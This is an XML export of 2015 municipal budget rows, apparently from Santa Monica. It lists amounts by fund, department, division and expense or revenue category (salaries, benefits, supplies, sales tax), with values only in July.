<row _id="15583"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>52471.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>52471.0</total></row>
<row _id="15584"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>150.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>150.0</total></row>
<row _id="15585"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>24768.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>24768.0</total></row>
<row _id="15586"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1441.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1441.0</total></row>
<row _id="15587"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1562.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1562.0</total></row>
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<row _id="15590"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2889.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2889.0</total></row>
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<row _id="15601"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>4279.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4279.0</total></row>
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<row _id="15605"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>405830.0</object><object_description>MEASURE R - OPERATING</object_description><category_code>658.0</category_code><category_code_description>Sales Tax</category_code_description><fiscal_year>2015</fiscal_year><july>-7528441.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-7528441.0</total></row>
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<row _id="15607"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>94506.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>94506.0</total></row>
<row _id="15608"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>4400.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4400.0</total></row>
<row _id="15609"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>43119.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>43119.0</total></row>
<row _id="15610"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>686874.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>686874.0</total></row>
<row _id="15611"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>13903.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>13903.0</total></row>
<row _id="15612"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>52</fund_id><fund_name>Special Aviation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>402950.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2015</fiscal_year><july>-1700.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1700.0</total></row>
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<row _id="15614"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>21547.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>21547.0</total></row>
<row _id="15615"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="15616"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>4276.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4276.0</total></row>
<row _id="15617"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1043.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1043.0</total></row>
<row _id="15618"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>407940.0</object><object_description>GREEN BUILDING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-231576.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-231576.0</total></row>
<row _id="15619"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>26511.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>26511.0</total></row>
<row _id="15620"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>12842.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12842.0</total></row>
<row _id="15621"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>109036.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>109036.0</total></row>
<row _id="15622"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>101523.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>101523.0</total></row>
<row _id="15623"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>780288.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>780288.0</total></row>
<row _id="15624"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>154611.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>154611.0</total></row>
<row _id="15625"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1076.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1076.0</total></row>
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<row _id="15627"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544230.0</object><object_description>COMMUNITY SERVICES SU</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="15628"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>441.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>441.0</total></row>
<row _id="15629"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>20879.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20879.0</total></row>
<row _id="15630"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>210.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>210.0</total></row>
<row _id="15631"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1350.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1350.0</total></row>
<row _id="15632"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>39594.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>39594.0</total></row>
<row _id="15633"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1750.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1750.0</total></row>
<row _id="15634"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>10435.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10435.0</total></row>
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<row _id="15637"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2345.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2345.0</total></row>
<row _id="15638"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1671.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1671.0</total></row>
<row _id="15639"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1596.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1596.0</total></row>
<row _id="15640"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>131.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>131.0</total></row>
<row _id="15641"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2070.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2070.0</total></row>
<row _id="15642"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>220561.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>220561.0</total></row>
<row _id="15643"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>4136.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4136.0</total></row>
<row _id="15644"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>15000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15000.0</total></row>
<row _id="15645"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>555950.0</object><object_description>COMM SERV FACIL / MGMT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>18000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>18000.0</total></row>
<row _id="15646"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>622.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>622.0</total></row>
<row _id="15647"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>350.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>350.0</total></row>
<row _id="15648"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2015.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2015.0</total></row>
<row _id="15649"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>100.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>100.0</total></row>
<row _id="15650"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>28484.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>28484.0</total></row>
